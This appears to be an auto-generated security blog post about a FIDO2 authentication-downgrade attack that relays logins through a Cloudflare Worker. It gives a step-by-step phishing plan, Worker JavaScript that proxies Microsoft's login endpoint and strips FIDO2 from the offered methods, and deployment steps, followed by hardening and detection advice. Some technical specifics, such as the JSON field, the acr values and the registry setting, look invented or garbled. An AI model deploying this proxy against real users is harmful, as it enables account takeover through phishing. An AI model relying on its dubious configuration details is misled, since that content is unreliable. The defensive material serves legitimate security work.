Your FIDO2 Keys Are Not Safe: How Hackers Weaponize Cloudflare to Bypass Hardware Security + Video

Listen to this Post

Featured Image

Introduction:

A groundbreaking technique developed by IOActive, Inc. reveals a critical flaw in multi-factor authentication (MFA) implementations that use FIDO2 hardware keys like YubiKey or Windows Hello for Business. The attack doesn’t crack cryptography but manipulates the authentication flow itself, using trusted serverless infrastructure like Cloudflare Workers to act as an invisible proxy. This method forces a downgrade to weaker, phishable authentication methods, fundamentally undermining the security promise of hardware-bound keys.

Learning Objectives:

  • Understand the mechanics of the Authentication Downgrade Attack against FIDO2/WebAuthn.
  • Learn how Cloudflare Workers can be weaponized as a zero-cost, forensically invisible proxy.
  • Identify misconfigurations in “mixed mode” authentication policies that enable this exploit.
  • Implement actionable hardening steps for Windows Hello for Business and identity providers.
  • Develop strategies to defend against “Living off the Trusted Land” attacks.

You Should Know:

1. The Anatomy of the Authentication Downgrade Attack

The core vulnerability lies in the “mixed mode” or “fallback” authentication policies common in enterprise environments. When a FIDO2 key is registered, systems are often configured to allow alternative methods like OTP or push notifications. The attacker intercepts and manipulates the initial authentication request to strip out or alter the WebAuthn parameters, tricking the identity provider (IdP) into offering only the weaker, phishable options.

Step‑by‑step guide explaining what this does and how to use it.
1. Reconnaissance: The attacker identifies a target organization and uses open-source intelligence (OSINT) to discover its primary identity provider (e.g., Azure AD, Okta) and login portal.
2. Phishing Lure: A convincing phishing email is crafted, directing the victim to a malicious login page that appears identical to the corporate portal.
3. Proxy Setup: The attacker deploys a transparent proxy on Cloudflare Workers. The proxy’s sole job is to sit between the victim and the legitimate IdP, manipulating traffic in real-time.
4. Traffic Interception: When the victim visits the malicious page, their login attempt is routed through the Cloudflare Worker. The worker forwards the request to the real IdP and receives the list of allowed authentication methods.
5. Response Manipulation: The Worker’s code filters the response, removing the `webauthn` or `fido2` entries from the list of allowed authentication `acr_values` or prompts.
6. Downgrade Execution: The victim’s browser only presents the remaining options (e.g., “Enter a code from your mobile app”). The victim completes authentication via this phishable method.
7. Credential Forwarding: The Worker forwards the weaker credentials (OTP) to the real IdP, obtains a valid session cookie, and passes it back to the victim, completing the sign-in without the victim’s FIDO2 key ever being invoked.

2. Weaponizing Cloudflare Workers: The Invisible Proxy

Cloudflare Workers provide a global, serverless execution environment on CDN edge nodes. This makes them ideal for attackers: they are inherently trusted (hosted on cloudflare.com), have minimal forensic footprint, and are often free. The proxy script is minimal and efficient.

Step‑by‑step guide explaining what this does and how to use it.
Objective: Create a transparent proxy that modifies authentication API responses.

Worker Code Example (JavaScript):

addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
const url = new URL(request.url);
// Target the real IdP's authorization endpoint
let targetUrl = 'https://login.microsoftonline.com' + url.pathname + url.search;

// Forward the request to the real IdP
let response = await fetch(targetUrl, {
headers: request.headers,
method: request.method,
body: request.body
});

// Check if response is JSON (like an auth methods API call)
const contentType = response.headers.get('content-type');
if (contentType && contentType.includes('application/json')) {
let text = await response.text();
try {
let json = JSON.parse(text);
// CRITICAL: Manipulate the JSON to remove FIDO2 as an option
if (json.allowed_auth_methods) {
json.allowed_auth_methods = json.allowed_auth_methods.filter(m => m !== 'fido2');
}
// Re-serialize the modified JSON
const newResponse = new Response(JSON.stringify(json), response);
return newResponse;
} catch (err) {
// Not JSON, return original response
return response;
}
}
// For non-JSON, return the response unmodified
return response;
}

Deployment:

1. Create a free Cloudflare account.

  1. Navigate to “Workers & Pages” and create a new Worker.
  2. Paste the above code, modifying the `targetUrl` to the relevant IdP.
  3. Deploy the Worker, which receives a `.workers.dev` subdomain.
  4. The attacker then configures their phishing domain to point to this Worker or uses it directly.

3. Identifying Vulnerable “Mixed Mode” Configurations

The attack prerequisite is an IdP configured to accept multiple authentication methods where FIDO2 is not strictly enforced. This is common for user convenience but creates a critical security gap.

Step‑by‑step guide explaining what this does and how to use it.
For Security Teams: Audit Your Azure AD Conditional Access Policies.
1. Navigate to the Azure Portal > Azure Active Directory > Security > Conditional Access.
2. Review each policy that requires MFA. Check the `Grant` controls.
3. Vulnerable Setting: A policy requiring “Require multifactor authentication” but not specifically requiring “Require authentication strength” with a custom authentication strength policy that only includes FIDO2.
4. Secure Setting: A policy that uses Authentication strengths. Create a new authentication strength (e.g., “FIDO2 Only”) under Protection > Authentication strengths. Add only FIDO2 Security Key as an allowed method. Then, in your Conditional Access policy, under Grant, select “Require authentication strength” and choose your “FIDO2 Only” policy.

4. Hardening Windows Hello for Business Against Downgrade

Windows Hello for Business (WHfB) is a FIDO2-compliant authenticator. Its cloud trust configuration can be exploited in a similar downgrade attack if not properly locked down.

Step‑by‑step guide explaining what this does and how to use it.

Enforce FIDO2-Only Authentication via Intune or Group Policy:

  1. Intune Path: Devices > Configuration profiles > Create profile (Platform: Windows 10 and later, Profile type: Templates > Identity protection).
  2. Key Setting: Configure “Use security key for sign-in” to Enabled. This directs Windows to use the FIDO2 key stored on the device.
  3. Critical Companion Policy (Azure AD): As in Section 3, create an Authentication Strength policy requiring FIDO2 and apply it via Conditional Access to all users. This ensures the cloud service also rejects non-FIDO2 attempts.
  4. Registry Key (Alternative): For direct Group Policy, you can push a registry change to disable fallback prompts:

Path: `HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork`

Value: `RequireSecurityDevice` (DWORD) = `1`

5. Defensive Strategies: Detecting the Weaponized Worker

Traditional phishing detection fails because traffic goes to cloudflare.com. Defense requires a multi-layered approach focusing on behavior and identity telemetry.

Step‑by‑step guide explaining what this does and how to use it.
1. User & Entity Behavior Analytics (UEBA): Monitor for impossible travel or unfamiliar location logins immediately after a successful MFA event via OTP/push, when the user’s primary method is FIDO2. This anomaly suggests a proxy was used.
2. Session Telemetry: Log and analyze the `acr` (Authentication Context Class Reference) claim in your application logs. Alert if a user session is established with `acr=1` (password + OTP) when their registered method is `acr=3` (FIDO2).
3. Network Monitoring: While the initial connect is to Cloudflare, subsequent application access comes from the victim’s IP. Correlate login logs (showing Cloudflare IPs) with application logs (showing the user’s real IP). A mismatch over time is a strong indicator.
4. Phishing Simulation: Regularly test users with simulations that mimic this attack vector, training them to recognize that being prompted for an OTP when they have a security key is a major red flag.

What Undercode Say:

  • The Perimeter is Now Identity. The most trusted infrastructure—global CDNs—can be turned against you. Security validation must now explicitly test for abuse of trusted services, not just block malicious domains.
  • Configuration Over Cryptography. This attack proves that the strongest cryptographic element (the FIDO2 private key) is irrelevant if the policy layer around it is poorly configured. MFA enforcement must be absolute, not a flexible menu.

Analysis: IOActive’s research is a paradigm shift. It moves beyond exploiting software bugs to exploiting architectural trust and operational policy gaps. The use of Cloudflare Workers is particularly insidious, as it offers attackers bulletproof hosting with high reputation scores. Defenders can no longer rely on domain blocklists or certificate pinning alone. The primary mitigation is architectural: eliminating authentication fallback entirely for privileged access. Organizations must adopt an “authentication strength” model, where sensitive applications and data require a specific, non-bypassable method like FIDO2. Furthermore, detection strategies must evolve to analyze authentication method sequences and contextual anomalies, as the forensic trail of this attack is buried in legitimate cloud traffic.

Prediction:

This research will catalyze a rapid shift in enterprise MFA policy from “MFA is enabled” to “MFA method is contextually enforced without exception.” Within two years, “phish-resistant MFA” mandates from insurers and regulators will explicitly require the disabling of fallback methods for any protected resource. Simultaneously, we will see a rise in offensive security tools that package this Cloudflare Worker technique into easy-to-deploy phishing kits, lowering the barrier for less sophisticated attackers. The cat-and-mouse game will move deeper into the identity stack, focusing on the integrity of the client-side authentication API calls before they even reach the network proxy.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Jessicaweiland Ioactive – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky